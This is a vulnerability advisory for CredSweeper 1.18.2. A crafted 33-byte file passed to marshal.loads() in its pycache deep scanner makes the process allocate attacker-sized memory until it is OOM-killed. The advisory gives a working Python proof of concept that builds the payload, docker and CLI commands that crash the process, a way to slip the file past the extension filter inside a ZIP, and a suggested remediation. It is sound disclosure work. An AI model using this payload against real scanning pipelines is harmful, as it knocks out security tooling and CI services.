Untrusted marshal input causes attacker-sized tuple allocation in the pycache deep scanner
Description
CredSweeper 1.18.2 passes attacker-controlled bytes to marshal.loads() after checking only six magic-like bytes. A 33-byte file with a non-.pyc extension can declare an arbitrarily large tuple and cause CPython to allocate memory proportional to an attacker-chosen 32-bit element count before parsing fails.
The allocation tracks the declared count exactly: a 33-byte file declaring 8,388,608 elements produced a measured peak of 67,109,959 bytes — the 67,108,864-byte pointer array plus 1,095 bytes of overhead. Raising the declared count to 268,435,455 in the same 33-byte file terminates the process with SIGKILL in a 256 MiB container.
Details
Verified target: credsweeper==1.18.2 installed from PyPI. pycache_scanner.py is byte-identical (SHA-256) between the published wheel and commit 8d3d0dd2e7ab73cbcab0f2044e8c26b6350211bc, so the analysis applies to the artifact users install, not only to a git tree.
The matcher does not require a .pyc extension, a valid interpreter magic number, or consistency between the declared container size and the remaining bytes:
# credsweeper/deep_scanner/pycache_scanner.py:23-46
@staticmethod
def match(data: bytes | bytearray) -> bool:
"""Checks header magic for 3 actual variants"""
if 32 < len(data) and data[2:8] in PycacheScanner.MATCHES_SIGNATURES:
return True
return False
def data_scan(self, data_provider, depth, recursive_limit_size):
"""Extracts data from binary"""
try:
structure = marshal.loads(data_provider.data[16:])
...
except Exception as pyc_exc:
logger.warning("%s:%s", data_provider.file_path, pyc_exc)
return NoneThe Python documentation explicitly warns that marshal is not intended to be secure against maliciously constructed data. Here the input is the file being scanned, and is therefore outside the trust boundary.
The minimal triggering portion after the 16-byte header is:
b"(" + struct.pack("<I", element_count)( is the marshal tuple type marker, followed by a little-endian 32-bit element count. CPython allocates the tuple's pointer array before it discovers that the input does not contain the declared elements. The surrounding exception handler runs only after that allocation attempt; it cannot protect a process that the operating system terminates for exceeding its memory limit — demonstrated in §3 below.
The complete proof file is 33 bytes: a 16-byte header, the 5-byte tuple declaration, and 12 bytes of padding needed to satisfy the 32 < len(data) check. It is named probe.dat because .pyc is excluded by the default configuration while .dat is not — both confirmed at runtime against the shipped secret/config.json.
An archive member with any non-excluded extension reaches the content-based matcher just as a loose file does. Placing the same 33-byte payload inside a ZIP and scanning at --depth 2:
| ZIP member name | Peak allocation | Outcome |
|---|---|---|
member.dat | 67,152,977 B | reaches the matcher, full allocation |
member.pyc | 3,596 B | excluded by check_exclude_file, never parsed |
The extension filter is therefore the only thing standing between an archive and this path, and it is trivially avoided.
pycache_scanner.py first appears in 1.16.1 (it is absent in 1.16.0), which is the lower bound of the affected range.
Suggested remediation: avoid unmarshalling untrusted scan content in-process. If pycache inspection is retained, perform strict format/version validation and parse it in a disposable subprocess with hard memory and time limits. At minimum, reject declared container lengths that cannot fit in the remaining input before calling marshal.loads(); however, this does not make the general marshal format safe for untrusted input.
PoC
Install the affected artifact exactly as users do:
python -m venv .venv && . .venv/bin/activate
pip install credsweeper==1.18.21. The 33-byte sample and its allocation, through the real scan path
import struct, tracemalloc
from credsweeper.app import CredSweeper
from credsweeper.deep_scanner.pycache_scanner import PycacheScanner
from credsweeper.file_handler.byte_content_provider import ByteContentProvider
COUNT = 8388608
hdr = b"\x00\x00" + PycacheScanner.MATCHES_SIGNATURES[0] + b"\x00" * 8 # 16 bytes
mal = hdr + b"(" + struct.pack("<I", COUNT) + b"\x00" * 12 # 33 bytes total
ctl = b"x" # 1-byte control
ds = CredSweeper(depth=1).deep_scanner
def peak(blob, name):
p = ByteContentProvider(blob, file_path=name, file_type=".dat")
tracemalloc.start()
try: ds.scan(p, 1)
except Exception: pass
_, pk = tracemalloc.get_traced_memory(); tracemalloc.stop(); return pk
print(f"sample_bytes={len(mal)}")
print(f"declared_tuple_elements={COUNT}")
print(f"pointer_array_bytes_on_64bit={COUNT * 8}")
print(f"signature_matches={PycacheScanner.match(mal)}")
print(f"control_signature_matches={PycacheScanner.match(ctl)}")
pk_ctl = peak(ctl, "control.dat")
pk_mal = peak(mal, "malicious.dat")
print(f"control_peak_bytes={pk_ctl}")
print(f"malicious_peak_bytes={pk_mal}")
print(f"delta_over_pointer_array={pk_mal - COUNT * 8}")Measured on credsweeper==1.18.2, Python 3.12:
sample_bytes=33
declared_tuple_elements=8388608
pointer_array_bytes_on_64bit=67108864
signature_matches=True
control_signature_matches=False
control_peak_bytes=1301
malicious_peak_bytes=67109959
delta_over_pointer_array=1095The stable invariant is peak ≈ 8 × declared_count, here overshooting the 64-bit pointer array by only 1,095 bytes. A ratio against the control is not quoted, because the control's baseline is a few kilobytes and the ratio therefore varies by an order of magnitude with how the control is constructed; the absolute allocation is what the attacker chooses.
2. The same file through the unmodified CLI
python -m credsweeper --path probe.dat --depth 1 --no-stdoutAt the bounded count of 8,388,608 the CLI completes normally (exit=0, 0.678 s) after the controlled 64 MiB allocation. This is expected — and is precisely why the bounded run is not the impact statement.
3. Process termination under a hard memory limit
The declared count is a 32-bit field, and only the count changes; the file stays 33 bytes.
# 33-byte file, declared count 268,435,455 -> 2,147,483,640-byte pointer array
docker run --rm --memory 256m --memory-swap 256m <image> \
python -m credsweeper --path bomb.dat --depth 1 --no-stdoutMeasured:
| Declared elements | Requested pointer array | Container limit | Result |
|---|---|---|---|
| 8,388,608 | 67,108,864 B | 256 MiB | exit=0 |
| 268,435,455 | 2,147,483,640 B | 256 MiB | exit=137 — SIGKILL, OOM-killed by the cgroup |
The except Exception handler never runs: the process is killed by the kernel during the allocation, confirming that the handler cannot bound this path.
Use an isolated container with a hard memory limit for the destructive case. Do not run the high-count variant on a shared workstation.
Impact
An attacker who can add a 33-byte crafted file — or an archive member with any non-excluded extension — to a repository or artifact scanned with --depth can make a CredSweeper process allocate memory of the attacker's choosing, up to roughly 2 GiB from a single 32-bit field. In a memory-constrained CI runner or scanning service this terminates the process by OOM kill, as demonstrated above at a 256 MiB limit.